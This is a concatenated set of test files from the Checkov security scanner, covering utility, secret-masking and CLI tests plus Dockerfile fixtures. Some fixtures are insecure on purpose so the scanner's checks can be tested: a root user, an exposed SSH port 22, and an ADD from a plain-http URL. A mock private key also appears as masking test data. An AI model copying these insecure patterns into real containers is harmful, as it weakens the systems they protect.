"abcd1234-abcd-1234-abcd-1234abcd1234" report_url = get_report_url() mocker.patch.dict(os.environ, {"BC_ROOT_DIR": "app", "REQUEST_MAX_TRIES": "3", "SLEEP_BETWEEN_REQUEST_TRIES": "0.01"}) # when with aioresponses() as m: m.post(report_url, exception=aiohttp.ServerTimeoutError()) try: await aiohttp_client_session_wrapper("POST", get_report_url(), {}, {}) # case that specific error wasn't raised assert False except aiohttp.ServerTimeoutError: # case the specific error was raised assert True @pytest.mark.parametrize( "input,expected", [ (None, False), ("", False), ("/path/to", False), ("some random text", False), ("https://www.checkov.io", True), ("https://docs.bridgecrew.io/docs/bc_aws_iam_45", True), ], ids=["None", "empty", "local path", "text", "url", "url with subdirectory"], ) def test_valid_url(input, expected): assert valid_url(input) == expected ================================================ FILE: tests/common/utils/test_json_utils.py ================================================ import json from datetime import datetime from typing import Dict, Any import pytest from lark import Tree from checkov.common.util.json_utils import CustomJSONEncoder @pytest.mark.parametrize( "input_dict", [ pytest.param({"key": {"v", "val", "value"}}, id="set"), pytest.param({"key": datetime.now()}, id="date"), pytest.param({"key": Tree("data", ["child_1", "child_2"])}, id="lark_tree"), pytest.param({"key": lambda x: x}, id="function"), pytest.param({("key", "key2"): "value"}, id="tuple_key"), ], ) def test_custom_json_encoder(input_dict: Dict[str, Any]): # when result = json.dumps(input_dict, cls=CustomJSONEncoder) # then # this assertion should never fail, but json.dumps() could assert isinstance(result, str) ================================================ FILE: tests/common/utils/test_prompt.py ================================================ from pathlib import Path from unittest import mock from unittest.mock import MagicMock import click import pytest from _pytest.capture import CaptureFixture from checkov.common.util import prompt @pytest.fixture(autouse=True) def checkov_root_mock(tmp_path: Path): with mock.patch("checkov.common.util.prompt.CHECKOV_ROOT_DIRECTORY", str(tmp_path / "checkov")): yield def test_prompt_terraform_aws_resource(capsys: CaptureFixture[str]): test_name = "AWSTestPromptUnitTest" choices = [ "add", f"{test_name}", "iam", "Tests for the AWS Prompt Unit Test", "terraform", "aws", "resource", "aws_iam_policy", ] mock_click = click mock_click.prompt = MagicMock(name="prompt", side_effect=choices) resp = prompt.Prompt() check = prompt.Check(resp.responses) check.action() captured = capsys.readouterr() expected = [ f"Creating Check {test_name}.py", f"Creating Unit Test Stubs for {test_name}", "Successfully created", f"checkov/terraform/checks/resource/aws/{test_name}.py", "Next steps:", ] for exp in expected: assert exp in captured.out def test_prompt_terraform_azure_resource(capsys: CaptureFixture[str]): test_name = "AzureTestPromptUnitTest" choices = [ "add", f"{test_name}", "iam", "Tests for the Azure Prompt Unit Test", "terraform", "azure", "resource", "azurerm_policy_definition", ] mock_click = click mock_click.prompt = MagicMock(name="prompt", side_effect=choices) resp = prompt.Prompt() check = prompt.Check(resp.responses) check.action() captured = capsys.readouterr() expected = [ f"Creating Check {test_name}.py", f"Creating Unit Test Stubs for {test_name}", "Successfully created", f"checkov/terraform/checks/resource/azure/{test_name}.py", "Next steps:", ] for exp in expected: assert exp in captured.out def test_prompt_terraform_gcp_resource(capsys: CaptureFixture[str]): test_name = "GCPTestPromptUnitTest" choices = [ "add", f"{test_name}", "iam", "Tests for the GCP Prompt Unit Test", "terraform", "gcp", "resource", "google_project_iam_policy", ] mock_click = click mock_click.prompt = MagicMock(name="prompt", side_effect=choices) resp = prompt.Prompt() check = prompt.Check(resp.responses) check.action() captured = capsys.readouterr() expected = [ f"Creating Check {test_name}.py", f"Creating Unit Test Stubs for {test_name}", "Successfully created", f"checkov/terraform/checks/resource/gcp/{test_name}.py", "Next steps:", ] for exp in expected: assert exp in captured.out ================================================ FILE: tests/common/utils/test_secrets_utils.py ================================================ import os from checkov.common.models.enums import CheckResult from checkov.common.util.secrets import omit_secret_value_from_checks, omit_secret_value_from_graph_checks from checkov.common.graph.checks_infra.base_check import BaseGraphCheck from checkov.main import Checkov from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.provider.aws.credentials import AWSCredentials from checkov.terraform.checks.resource.azure.SecretExpirationDate import SecretExpirationDate def test_omit_secret_value_from_checks_by_attribute( tfplan_resource_lines_with_secrets, tfplan_resource_config_with_secrets, tfplan_resource_lines_without_secrets ): check = SecretExpirationDate() check.entity_type = 'azurerm_key_vault_secret' check_result = {'result': CheckResult.FAILED} resource_attributes_to_omit = {'azurerm_key_vault_secret': {'value'}} assert omit_secret_value_from_checks( check, check_result, tfplan_resource_lines_with_secrets, tfplan_resource_config_with_secrets, resource_attributes_to_omit ) == tfplan_resource_lines_without_secrets def test_omit_secret_value_from_checks_by_secret( aws_provider_lines_with_secrets, aws_provider_config_with_secrets, aws_provider_lines_without_secrets ): check = AWSCredentials() check_result = {'result': CheckResult.FAILED} assert omit_secret_value_from_checks( check, check_result, aws_provider_lines_with_secrets, aws_provider_config_with_secrets ) == aws_provider_lines_without_secrets def test_omit_secret_value_from_checks_by_secret_2(): entity_lines_with_secrets = [ (93, ' "values": {\n'), (94, ' "content_type": null,\n'), (95, ' "expiration_date": null,\n'), (96, ' "key_vault_id": "/subscriptions/my-subscription/resourceGroups/my-rg/providers/Microsoft.KeyVault/vaults/my-vault",\n'), (97, ' "name": "my-key-vault",\n'), (98, ' "not_before_date": null,\n'), (99, ' "tags": null,\n'), (100, ' "timeouts": null,\n'), (101, ' "value": "-----BEGIN RSA PRIVATE KEY-----\\nMOCKKEYmer0YcjoLJVs4VvyLaigj7ygbpplVefQFHXseE7Lx0S2YBA6cg5SHoe4huMCsLwqyHJane2aseEq6oreSUG4Fzk3XpZSJ8fhNTdH2XHjCiK2LmAMHLV34adw2DEVKESa3PTf86EPIXu77qOH5HMl9tCXl9e1xf3wluaecOjdamK9HcNv8l0R58tTIuHpK+HiT69EHUjn7Igv904vPoTSl3f0Ut+xYTWOBBQJRG9YI7fHLJTL5ki1Hbb6Kl/6rsFur3P32kHQqFtDb9l7AQ/J68ws6MNfi+n5EylyRMgWkDRaryDPfRp9Aoe82Fo0pZDarEmphE58+FTKw5eC6qh3\\n-----END RSA PRIVATE KEY-----\\n"\n') ] entity_config_with_secrets = { 'content_type': [None], 'expiration_date': [None], 'key_vault_id': ['/subscriptions/my-subscription/resourceGroups/my-rg/providers/Microsoft.KeyVault/vaults/my-vault'], 'name': ['my-key-vault'], 'not_before_date': [None], 'tags': [None], 'timeouts': [None], 'value': ['-----BEGIN RSA PRIVATE KEY-----\nMOCKKEYmer0YcjoLJVs4VvyLaigj7ygbpplVefQFHXseE7Lx0S2YBA6cg5SHoe4huMCsLwqyHJane2aseEq6oreSUG4Fzk3XpZSJ8fhNTdH2XHjCiK2LmAMHLV34adw2DEVKESa3PTf86EPIXu77qOH5HMl9tCXl9e1xf3wluaecOjdamK9HcNv8l0R58tTIuHpK+HiT69EHUjn7Igv904vPoTSl3f0Ut+xYTWOBBQJRG9YI7fHLJTL5ki1Hbb6Kl/6rsFur3P32kHQqFtDb9l7AQ/J68ws6MNfi+n5EylyRMgWkDRaryDPfRp9Aoe82Fo0pZDarEmphE58+FTKw5eC6qh3\n-----END RSA PRIVATE KEY-----\n'], '__startline__': [93], '__endline__': [102], 'start_line': [92], 'end_line': [101], 'references_': ['tls_private_key.ssh.private_key_pem', 'tls_private_key.ssh'], '__address__': 'azurerm_key_vault_secret.akv_009_pass_01', '__change_actions__': ['create']} check = SecretExpirationDate() check.entity_type = 'azurerm_key_vault_secret' check_result = {'result': CheckResult.FAILED} entity_lines_without_secrets = [ (93, ' "values": {\n'), (94, ' "content_type": null,\n'), (95, ' "expiration_date": null,\n'), (96, ' "key_vault_id": "/subscriptions/my-subscription/resourceGroups/my-rg/providers/Microsoft.KeyVault/vaults/my-vault",\n'), (97, ' "name": "my-key-vault",\n'), (98, ' "not_before_date": null,\n'), (99, ' "tags": null,\n'), (100, ' "timeouts": null,\n'), (101, ' "value": "-----**********--\\n"\n') ] resource_attributes_to_omit = {'azurerm_key_vault_secret': {'value'}} result = omit_secret_value_from_checks( check, check_result, entity_lines_with_secrets, entity_config_with_secrets, resource_attributes_to_omit ) assert result == entity_lines_without_secrets def test_omit_secret_value_from_graph_checks_by_attribute( tfplan_resource_lines_with_secrets, tfplan_resource_config_with_secrets, tfplan_resource_lines_without_secrets ): check = BaseGraphCheck() check.resource_types = ['azurerm_key_vault_secret'] check_result = {'result': CheckResult.FAILED} resource_attributes_to_omit = {'azurerm_key_vault_secret': {'value'}} result = omit_secret_value_from_graph_checks( check, check_result, tfplan_resource_lines_with_secrets, tfplan_resource_config_with_secrets, resource_attributes_to_omit ) assert result == tfplan_resource_lines_without_secrets def test_omit_secret_value_from_graph_checks_by_attribute_skip_non_string(): # given check = BaseGraphCheck() check.resource_types = ['aws_ssm_parameter'] check_result = {'result': CheckResult.FAILED} entity_code_lines = [ (22, 'resource "aws_ssm_parameter" "aws_ssm_parameter_foo" {\n'), (23, ' name = "foo"\n'), (24, ' description = "Parameter foo"\n'), (25, ' type = "String"\n'), (26, ' tier = "Advanced"\n'), (27, " value = jsonencode({\n"), (28, ' "foo" : {\n'), (29, ' "hello" : "world",\n'), (30, ' "answer " : 42\n'), (31, " }\n"), (32, " })\n"), (33, "}\n"), ] entity_config = { "__address__": "aws_ssm_parameter.aws_ssm_parameter_foo", "__end_line__": 33, "__start_line__": 22, "description": ["Parameter foo"], "name": ["foo"], "tier": ["Advanced"], "type": ["String"], "value": [ { "foo": { "answer ": 42, "hello": "world", } } ], } resource_attributes_to_omit = {'aws_ssm_parameter': {'value'}} # when result = omit_secret_value_from_graph_checks( check=check, check_result=check_result, entity_code_lines=entity_code_lines, entity_config=entity_config, resource_attributes_to_omit=resource_attributes_to_omit ) # then assert result == [ (22, 'resource "aws_ssm_parameter" "aws_ssm_parameter_foo" {\n'), (23, ' name = "foo"\n'), (24, ' description = "Parameter foo"\n'), (25, ' type = "String"\n'), (26, ' tier = "Advanced"\n'), (27, " value = jsonencode({\n"), (28, ' "foo" : {\n'), (29, ' "hello" : "world",\n'), (30, ' "answer " : 42\n'), (31, " }\n"), (32, " })\n"), (33, "}\n"), ] def test_omit_secret_value_from_checks_by_attribute_runner_filter_resource_config( tfplan_resource_lines_with_secrets, tfplan_resource_config_with_secrets, tfplan_resource_lines_without_secrets ): argv = [ "--config-file", f"{os.path.dirname(os.path.realpath(__file__))}/../resource_attr_to_omit_configs/real_keys.yml" ] ckv = Checkov(argv=argv) runner_filter = RunnerFilter(resource_attr_to_omit=ckv.config.mask) check = SecretExpirationDate() check.entity_type = 'azurerm_key_vault_secret' check_result = {'result': CheckResult.FAILED} assert omit_secret_value_from_checks( check, check_result, tfplan_resource_lines_with_secrets, tfplan_resource_config_with_secrets, runner_filter.resource_attr_to_omit) == tfplan_resource_lines_without_secrets # ToDo: Uncomment if we want to support universal masking # def test_omit_secret_value_from_checks_by_attribute_runner_filter_universal_config( # tfplan_resource_lines_with_secrets, # tfplan_resource_config_with_secrets, # tfplan_resource_lines_without_secrets # ): # argv = [ # "--config-file", # f"{os.path.dirname(os.path.realpath(__file__))}/../resource_attr_to_omit_configs/universal_key.yml" # ] # ckv = Checkov(argv=argv) # runner_filter = RunnerFilter(resource_attr_to_omit=ckv.config.mask) # check = SecretExpirationDate() # check.entity_type = 'azurerm_key_vault_secret' # check_result = {'result': CheckResult.FAILED} # # assert omit_secret_value_from_checks( # check, # check_result, # tfplan_resource_lines_with_secrets, # tfplan_resource_config_with_secrets, # runner_filter.resource_attr_to_omit) == tfplan_resource_lines_without_secrets def test_omit_secret_value_from_checks_by_attribute_runner_filter_duplicated_config( tfplan_resource_lines_with_secrets, tfplan_resource_config_with_secrets, tfplan_resource_lines_without_secrets ): argv = [ "--config-file", f"{os.path.dirname(os.path.realpath(__file__))}/../resource_attr_to_omit_configs/duplicated_key.yml" ] ckv = Checkov(argv=argv) runner_filter = RunnerFilter(resource_attr_to_omit=ckv.config.mask) check = SecretExpirationDate() check.entity_type = 'azurerm_key_vault_secret' check_result = {'result': CheckResult.FAILED} assert omit_secret_value_from_checks( check, check_result, tfplan_resource_lines_with_secrets, tfplan_resource_config_with_secrets, runner_filter.resource_attr_to_omit) == tfplan_resource_lines_without_secrets # ToDo: Uncomment if we want to support universal masking # def test_omit_secret_value_from_checks_by_attribute_runner_filter_multiple_keys( # tfplan_resource_lines_with_secrets, # tfplan_resource_config_with_secrets, # tfplan_resource_lines_without_secrets_multiple_keys # ): # # argv = [ # "--config-file", # f"{os.path.dirname(os.path.realpath(__file__))}/../resource_attr_to_omit_configs/multiple_keys.yml" # ] # ckv = Checkov(argv=argv) # runner_filter = RunnerFilter(resource_attr_to_omit=ckv.config.mask) # # check = SecretExpirationDate() # check.entity_type = 'azurerm_key_vault_secret' # check_result = {'result': CheckResult.FAILED} # # assert omit_secret_value_from_checks( # check, # check_result, # tfplan_resource_lines_with_secrets, # tfplan_resource_config_with_secrets, # runner_filter.resource_attr_to_omit # ) == tfplan_resource_lines_without_secrets_multiple_keys ================================================ FILE: tests/common/utils/test_str_utils.py ================================================ import pytest from checkov.common.util.str_utils import removeprefix from checkov.common.util.str_utils import convert_to_seconds @pytest.mark.parametrize( "input_str,prefix,expected", [ ("/path/to/something", "/path", "/to/something"), ("path/to/something", "path", "/to/something"), ("/path/path/to/something", "/path", "/path/to/something"), ("/path/to/something", "/not_found", "/path/to/something"), ("/path/to/something", "", "/path/to/something"), ], ids=["abs_path", "rel_path", "double_path", "not_found", "empty"], ) def test_removeprefix(input_str: str, prefix: str, expected: str) -> None: assert removeprefix(input_str, prefix) == expected @pytest.mark.parametrize( "input_str,expected", [ ("503s", 503), ("3h", 10800), ("8m", 480), ("2d", 172800), ("1w", 604800), ], ids=["503 seconds", "3 hours", "8 minutes", "2 days", "1 week"], ) def test_convert_to_seconds(input_str: str, expected: str) -> None: assert convert_to_seconds(input_str) == expected @pytest.mark.parametrize( "input_str", [ "4", "5ss", "6c", ], ids=["no char", "two chars", "wrong char"] ) def test_convert_to_seconds_fails(input_str: str) -> None: with pytest.raises(Exception) as a: convert_to_seconds(input_str) print(a) ================================================ FILE: tests/common/utils/test_tqdm_utils.py ================================================ import os from pytest_mock import MockerFixture from checkov.common.util.tqdm_utils import ProgressBar def test_is_off_with_run_in_docker(mocker: MockerFixture): # given mocker.patch.dict(os.environ, {"RUN_IN_DOCKER": "True"}) # when bar = ProgressBar("terraform") # then assert bar.is_off is True def test_is_off_with_log_level(mocker: MockerFixture): # given mocker.patch.dict(os.environ, {"LOG_LEVEL": "INFO"}) # when bar = ProgressBar("terraform") # then assert bar.is_off is True def test_is_off_with_not_isatty(mocker: MockerFixture): # given mocker.patch("sys.__stdout__.isatty", return_value=False) # when bar = ProgressBar("terraform") # then assert bar.is_off is True ================================================ FILE: tests/common/utils/test_type_forcers.py ================================================ import unittest from checkov.common.util.type_forcers import convert_prisma_policy_filter_to_params class TestTypeForcers(unittest.TestCase): def test_convert_prisma_policy_filter_to_dict(self): self.assertListEqual(convert_prisma_policy_filter_to_params('F1=A,F2=B'), [('F1', 'A'), ('F2', 'B')]) self.assertListEqual(convert_prisma_policy_filter_to_params(''), []) self.assertListEqual(convert_prisma_policy_filter_to_params(None), []) self.assertListEqual(convert_prisma_policy_filter_to_params('F1 = A, F2= B '), [('F1', 'A'), ('F2', 'B')]) self.assertListEqual(convert_prisma_policy_filter_to_params('F1=A,B,F2=C'), [('F1', 'A'), ('F2', 'C')]) self.assertListEqual(convert_prisma_policy_filter_to_params('F1=A,F2=B,C'), [('F1', 'A'), ('F2', 'B')]) self.assertListEqual(convert_prisma_policy_filter_to_params('F1=A,F2=B,F1=C'), [('F1', 'A'), ('F2', 'B'), ('F1', 'C')]) self.assertListEqual(convert_prisma_policy_filter_to_params('F1=A,F2=B,F1=C,F1=DDD'), [('F1', 'A'), ('F2', 'B'), ('F1', 'C'), ('F1', 'DDD')]) policy_string = 'policy.name=AWS S3 bucket ACL grants READ permission to everyone' filter_string = convert_prisma_policy_filter_to_params(policy_string) self.assertListEqual(filter_string, [('policy.name', 'AWS S3 bucket ACL grants READ permission to everyone')]) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/common/utils/test_utils.py ================================================ import os import re import unittest from checkov.common.comment.enum import COMMENT_REGEX from checkov.common.util.data_structures_utils import merge_dicts from checkov.common.util.http_utils import normalize_prisma_url, normalize_bc_url class TestUtils(unittest.TestCase): def test_merge_dicts(self): dict1 = {'a': '1', 'b': '2'} dict2 = {'a': '4', 'c': '3'} dict3 = {'x': 'x', 'y': 'y', 'a': 'q'} res = merge_dicts(dict1, dict2) self.assertEqual(len(res), 3) self.assertEqual(res['a'], '4') self.assertEqual(res['b'], '2') self.assertEqual(res['c'], '3') res = merge_dicts(dict1, dict2, dict3) self.assertEqual(len(res), 5) self.assertEqual(res['a'], 'q') self.assertEqual(res['b'], '2') self.assertEqual(res['c'], '3') self.assertEqual(res['x'], 'x') self.assertEqual(res['y'], 'y') res = merge_dicts(dict1, None) self.assertEqual(len(res), 2) self.assertEqual(res['a'], '1') self.assertEqual(res['b'], '2') res = merge_dicts(dict1, 7) self.assertEqual(len(res), 2) self.assertEqual(res['a'], '1') self.assertEqual(res['b'], '2') def test_normalize_prisma_url(self): self.assertEqual('https://api0.prismacloud.io', normalize_prisma_url('https://api0.prismacloud.io')) self.assertEqual('https://api0.prismacloud.io', normalize_prisma_url('https://app0.prismacloud.io')) self.assertEqual('https://api0.prismacloud.io', normalize_prisma_url('http://api0.prismacloud.io')) self.assertEqual('https://api0.prismacloud.io', normalize_prisma_url('https://api0.prismacloud.io/')) self.assertEqual('https://api0.prismacloud.io', normalize_prisma_url(' https://api0.prismacloud.io')) self.assertIsNone(normalize_prisma_url('')) self.assertIsNone(normalize_prisma_url(None)) def test_normalize_bc_url(self): self.assertEqual('https://www.bridgecrew.cloud', normalize_bc_url('https://www.bridgecrew.cloud')) self.assertEqual('https://www.bridgecrew.cloud', normalize_bc_url('http://www.bridgecrew.cloud')) self.assertEqual('https://www.bridgecrew.cloud', normalize_bc_url('https://www.bridgecrew.cloud/')) self.assertEqual('https://www.bridgecrew.cloud', normalize_bc_url(' https://www.bridgecrew.cloud')) self.assertIsNone(normalize_bc_url('')) self.assertIsNone(normalize_bc_url(None)) def test_skip_comment_regex(self): self.assertIsNotNone(re.search(COMMENT_REGEX, 'checkov:skip=CKV_AWS_145: ADD REASON')) self.assertIsNotNone(re.search(COMMENT_REGEX, 'checkov:skip=CKV_AWS_145:ADD REASON')) self.assertIsNotNone(re.search(COMMENT_REGEX, 'checkov:skip=CKV_AWS_145')) self.assertIsNotNone(re.search(COMMENT_REGEX, 'bridgecrew:skip=CKV_AWS_145:ADD REASON')) self.assertIsNotNone(re.search(COMMENT_REGEX, 'bridgecrew:skip=CKV_AWS_145')) self.assertIsNotNone(re.search(COMMENT_REGEX, 'bridgecrew:skip=BC_AWS_GENERAL_123')) self.assertIsNotNone(re.search(COMMENT_REGEX, 'bridgecrew:skip=bcorg_AWS_1234567')) self.assertIsNotNone(re.search(COMMENT_REGEX, 'checkov:skip=bcorg_AWS_1234567')) self.assertIsNotNone(re.search(COMMENT_REGEX, 'cortex:skip=CKV_AWS_145: ADD REASON')) self.assertIsNotNone(re.search(COMMENT_REGEX, 'cortex:skip=CKV_AWS_145:ADD REASON')) self.assertIsNotNone(re.search(COMMENT_REGEX, 'cortex:skip=CKV_AWS_145')) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/config/TestCLIArgs.py ================================================ import unittest from checkov.main import Checkov class ConfigException(Exception): pass # override parser.error, which prints the error and exits def parser_error(message: str): raise ConfigException(message) class TestCLIArgs(unittest.TestCase): def test_normalize_frameworks(self): argv = [] ckv = Checkov(argv=argv) self.assertEqual(ckv.config.framework, ['all']) self.assertEqual(ckv.config.skip_framework, []) argv = ['--framework', 'terraform'] ckv = Checkov(argv=argv) self.assertEqual(ckv.config.framework, ['terraform']) argv = ['--framework', 'terraform,arm'] ckv = Checkov(argv=argv) self.assertEqual(set(ckv.config.framework), {'terraform', 'arm'}) argv = ['--framework', 'terraform', 'arm'] ckv = Checkov(argv=argv) self.assertEqual(set(ckv.config.framework), {'terraform', 'arm'}) argv = ['--framework', 'terraform', '--framework', 'arm'] ckv = Checkov(argv=argv) self.assertEqual(set(ckv.config.framework), {'terraform', 'arm'}) argv = ['--framework', 'terraform,bicep', '--framework', 'arm'] ckv = Checkov(argv=argv) self.assertEqual(set(ckv.config.framework), {'terraform', 'arm', 'bicep'}) argv = ['--framework', 'terraform,bicep', '--framework', 'arm,all'] ckv = Checkov(argv=argv) self.assertEqual(ckv.config.framework, ['all']) argv = ['--framework', 'terraform,bicep', '--framework', 'arm,invalid'] ckv = Checkov(argv=[]) # first instantiate a valid one # now repeat some of the logic of the constructor, overriding values ckv.config = ckv.parser.parse_args(argv) ckv.parser.error = parser_error with self.assertRaises(ConfigException): ckv.normalize_config() # all is specified, so we do not expect an exception argv = ['--framework', 'terraform,bicep', '--framework', 'arm,invalid,all'] ckv = Checkov(argv=argv) self.assertEqual(ckv.config.framework, ['all']) def test_normalize_skip_frameworks(self): argv = ['--skip-framework', 'terraform'] ckv = Checkov(argv=argv) self.assertEqual(ckv.config.skip_framework, ['terraform']) argv = ['--skip-framework', 'terraform,arm'] ckv = Checkov(argv=argv) self.assertEqual(set(ckv.config.skip_framework), {'terraform', 'arm'}) argv = ['--skip-framework', 'terraform', 'arm'] ckv = Checkov(argv=argv) self.assertEqual(set(ckv.config.skip_framework), {'terraform', 'arm'}) argv = ['--skip-framework', 'terraform', '--skip-framework', 'arm'] ckv = Checkov(argv=argv) self.assertEqual(set(ckv.config.skip_framework), {'terraform', 'arm'}) argv = ['--skip-framework', 'terraform,bicep', '--skip-framework', 'arm'] ckv = Checkov(argv=argv) self.assertEqual(set(ckv.config.skip_framework), {'terraform', 'arm', 'bicep'}) # all is not allowed argv = ['--skip-framework', 'terraform,bicep', '--skip-framework', 'arm,all'] ckv = Checkov(argv=[]) ckv.config = ckv.parser.parse_args(argv) ckv.parser.error = parser_error with self.assertRaises(ConfigException): ckv.normalize_config() argv = ['--skip-framework', 'terraform,bicep', '--skip-framework', 'arm,invalid'] ckv = Checkov(argv=[]) ckv.config = ckv.parser.parse_args(argv) ckv.parser.error = parser_error with self.assertRaises(ConfigException): ckv.normalize_config() def test_combine_framework_and_skip(self): argv = ['--framework', 'terraform', '--skip-framework', 'arm'] ckv = Checkov(argv=argv) self.assertEqual(ckv.config.framework, ['terraform']) self.assertEqual(ckv.config.skip_framework, ['arm']) # duplicate values not allowed argv = ['--framework', 'arm', '--skip-framework', 'arm'] ckv = Checkov(argv=[]) ckv.config = ckv.parser.parse_args(argv) ckv.parser.error = parser_error with self.assertRaises(ConfigException): ckv.normalize_config() # but it works with all argv = ['--framework', 'arm,all', '--skip-framework', 'arm'] ckv = Checkov(argv=argv) self.assertEqual(ckv.config.framework, ['all']) self.assertEqual(ckv.config.skip_framework, ['arm']) def test_custom_tool_name(self): # try using a non-standard tool name argv = ["--custom-tool-name", "non_standard_name"] ckv = Checkov(argv=argv) self.assertEqual(ckv.config.custom_tool_name, 'non_standard_name') # what about a standard tool name? argv = [] ckv = Checkov(argv=argv) self.assertEqual(ckv.config.custom_tool_name, 'Checkov') if __name__ == '__main__': unittest.main() ================================================ FILE: tests/config/TestConfigFile.py ================================================ import unittest import configargparse from checkov.common.util.ext_argument_parser import ExtArgumentParser class TestConfigFile(unittest.TestCase): def test_pass(self): argv = ['--ca-certificate', '----- BEGIN CERTIFICATE ----- ----- END CERTIFICATE -----', '--compact', '--directory', 'test-dir', '--docker-image', 'sample-image', '--dockerfile-path', 'Dockerfile', '--download-external-modules', 'True', '--evaluate-variables', 'False', '--external-checks-dir', 'sample-dir', '--external-checks-git', 'sample-github-url', '--file', 'sample.tf', '--framework', 'all', '--output', 'cli', '--quiet', '--repo-id', 'bridgecrew/sample-repo', '--skip-check', 'CKV_DOCKER_3,CKV_DOCKER_2', '--skip-framework', 'dockerfile', '--soft-fail', '--branch', 'master', '--check', 'CKV_DOCKER_1'] argv_parser = ExtArgumentParser(config_file_parser_class=configargparse.YAMLConfigFileParser) config_parser = ExtArgumentParser( config_file_parser_class=configargparse.YAMLConfigFileParser, default_config_files=['example_TestConfigFile/config.yml'], ) argv_parser.add_parser_args() config_parser.add_parser_args() config_from_argv = argv_parser.parse_args(argv) config_from_file = config_parser.parse_args([]) self.assertEqual(config_from_argv, config_from_file) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/config/__init__.py ================================================ ================================================ FILE: tests/config/example_TestConfigFile/config.yml ================================================ --- ca-certificate: "----- BEGIN CERTIFICATE ----- ----- END CERTIFICATE -----" compact: True directory: - 'test-dir' docker-image: 'sample-image' dockerfile-path: 'Dockerfile' download-external-modules: True evaluate-variables: False external-checks-dir: 'sample-dir' external-checks-git: - 'sample-github-url' external-modules-download-path: '.external_modules' file: 'sample.tf' framework: 'all' output: 'cli' quiet: True repo-id: 'bridgecrew/sample-repo' skip-check: - "CKV_DOCKER_3,CKV_DOCKER_2" skip-framework: 'dockerfile' soft-fail: True branch: "master" check: - "CKV_DOCKER_1" ================================================ FILE: tests/conftest.py ================================================ from copy import copy, deepcopy from checkov.common.checks.base_check_registry import BaseCheckRegistry import pytest @pytest.fixture(scope='module', autouse=True) def clean_bc_integration() -> None: from checkov.common.bridgecrew.platform_integration import bc_integration bc_integration.clean() @pytest.fixture(scope='module', autouse=True) def clean_feature_registry(): from checkov.common.bridgecrew.integration_features.integration_feature_registry import integration_feature_registry old_features = copy(integration_feature_registry.features) before_registered_checks = copy(BaseCheckRegistry._BaseCheckRegistry__all_registered_checks) yield integration_feature_registry.features = old_features BaseCheckRegistry._BaseCheckRegistry__all_registered_checks = before_registered_checks @pytest.fixture(scope='module', autouse=True) def reset_checks(): from checkov.terraform.checks.resource.registry import resource_registry as registry before_checks = deepcopy(registry.checks) before_wildcards_checks = deepcopy(registry.wildcard_checks) yield registry.checks = deepcopy(before_checks) registry.wildcard_checks = deepcopy(before_wildcards_checks) ================================================ FILE: tests/dockerfile/__init__.py ================================================ ================================================ FILE: tests/dockerfile/checks/__init__.py ================================================ ================================================ FILE: tests/dockerfile/checks/example_AddExists/failure/Dockerfile ================================================ FROM base LABEL foo="bar baz" ADD http://example.com/package.zip /temp USER me ================================================ FILE: tests/dockerfile/checks/example_AliasIsUnique/failure/Dockerfile ================================================ FROM baseImage RUN Test FROM debian:jesse2 as build RUN stuff FROM debian:jesse1 as build RUN more_stuff ================================================ FILE: tests/dockerfile/checks/example_AliasIsUnique/success/Dockerfile ================================================ FROM debian:jesse1 as build RUN stuff FROM debian:jesse1 as another-alias RUN more_stuff ================================================ FILE: tests/dockerfile/checks/example_AliasIsUnique/success_platform/Dockerfile ================================================ FROM --platform=linux/amd64 node:16 as FOO RUN npm install FROM --platform=linux/amd64 node:16 as BAR RUN npm run USER nobody HEALTHCHECK CMD curl --fail http://localhost:3000 || exit 1 CMD mycommand.sh ================================================ FILE: tests/dockerfile/checks/example_ExposePort22/failure/Dockerfile ================================================ FROM busybox EXPOSE 8080 22 ================================================ FILE: tests/dockerfile/checks/example_ExposePort22/failure_tcp/Dockerfile ================================================ FROM busybox EXPOSE 22/tcp ================================================ FILE: tests/dockerfile/checks/example_ExposePort22/success/Dockerfile ================================================ FROM busybox EXPOSE 8080 ================================================ FILE: tests/dockerfile/checks/example_HealthcheckExists/failure/Dockerfile ================================================ FROM base LABEL foo="bar baz USER me ================================================ FILE: tests/dockerfile/checks/example_HealthcheckExists/success/Dockerfile ================================================ FROM base LABEL foo="bar baz USER me HEALTHCHECK CMD curl --fail http://localhost:3000 || exit 1 ================================================ FILE: tests/dockerfile/checks/example_MaintainerExists/failure/Dockerfile ================================================ FROM base MAINTAINER checkov ================================================ FILE: tests/dockerfile/checks/example_ReferenceLatestTag/failure_default_version_tag/Dockerfile ================================================ FROM alpine ================================================ FILE: tests/dockerfile/checks/example_ReferenceLatestTag/failure_latest_version_tag/Dockerfile ================================================ FROM alpine:latest ================================================ FILE: tests/dockerfile/checks/example_ReferenceLatestTag/success/Dockerfile ================================================ FROM alpine:3 ================================================ FILE: tests/dockerfile/checks/example_ReferenceLatestTag/success_multi_stage/Dockerfile ================================================ FROM alpine:3 as base COPY test.sh /test.sh FROM base LABEL maintainer=checkov ================================================ FILE: tests/dockerfile/checks/example_ReferenceLatestTag/success_multi_stage_capital/Dockerfile ================================================ FROM alpine:3 AS base COPY test.sh /test.sh FROM base AS build LABEL maintainer=checkov FROM base ================================================ FILE: tests/dockerfile/checks/example_ReferenceLatestTag/success_multi_stage_platform/Dockerfile ================================================ FROM --platform=$BUILDPLATFORM python:3.11-slim AS build COPY test.sh /test.sh FROM build as run LABEL maintainer=checkov ================================================ FILE: tests/dockerfile/checks/example_ReferenceLatestTag/success_multi_stage_scratch/Dockerfile ================================================ FROM scratch as base COPY test.sh /test.sh FROM base LABEL maintainer=checkov ================================================ FILE: tests/dockerfile/checks/example_ReferenceLatestTag/success_scratch/Dockerfile ================================================ FROM scratch ================================================ FILE: tests/dockerfile/checks/example_RootUser/failure/Dockerfile ================================================ FROM base USER root ================================================ FILE: tests/dockerfile/checks/example_RootUser/success/Dockerfile ================================================ FROM base USER root COPY test.sh /test.sh USER checkov ================================================ FILE: tests/dockerfile/checks/example_RunUsingAPT/failure/Dockerfile ================================================ FROM busybox:1.0 RUN apt install curl HEALTHCHECK CMD curl --fail http://localhost:3000 || exit 1 ================================================ FILE: tests/dockerfile/checks/example_RunUsingAPT/failure2/Dockerfile ================================================ FROM ubuntu RUN apt install curl RUN apt-get update && \ apt-get install --yes --no-install-recommends \ git && \ apt-get clean autoclean && \ apt-get autoremove --yes && \ cd /var/lib && \ rm -rf apt dpkg cache log ================================================ FILE: tests/dockerfile/checks/example_RunUsingAPT/failure3/Dockerfile ================================================ FROM ubuntu 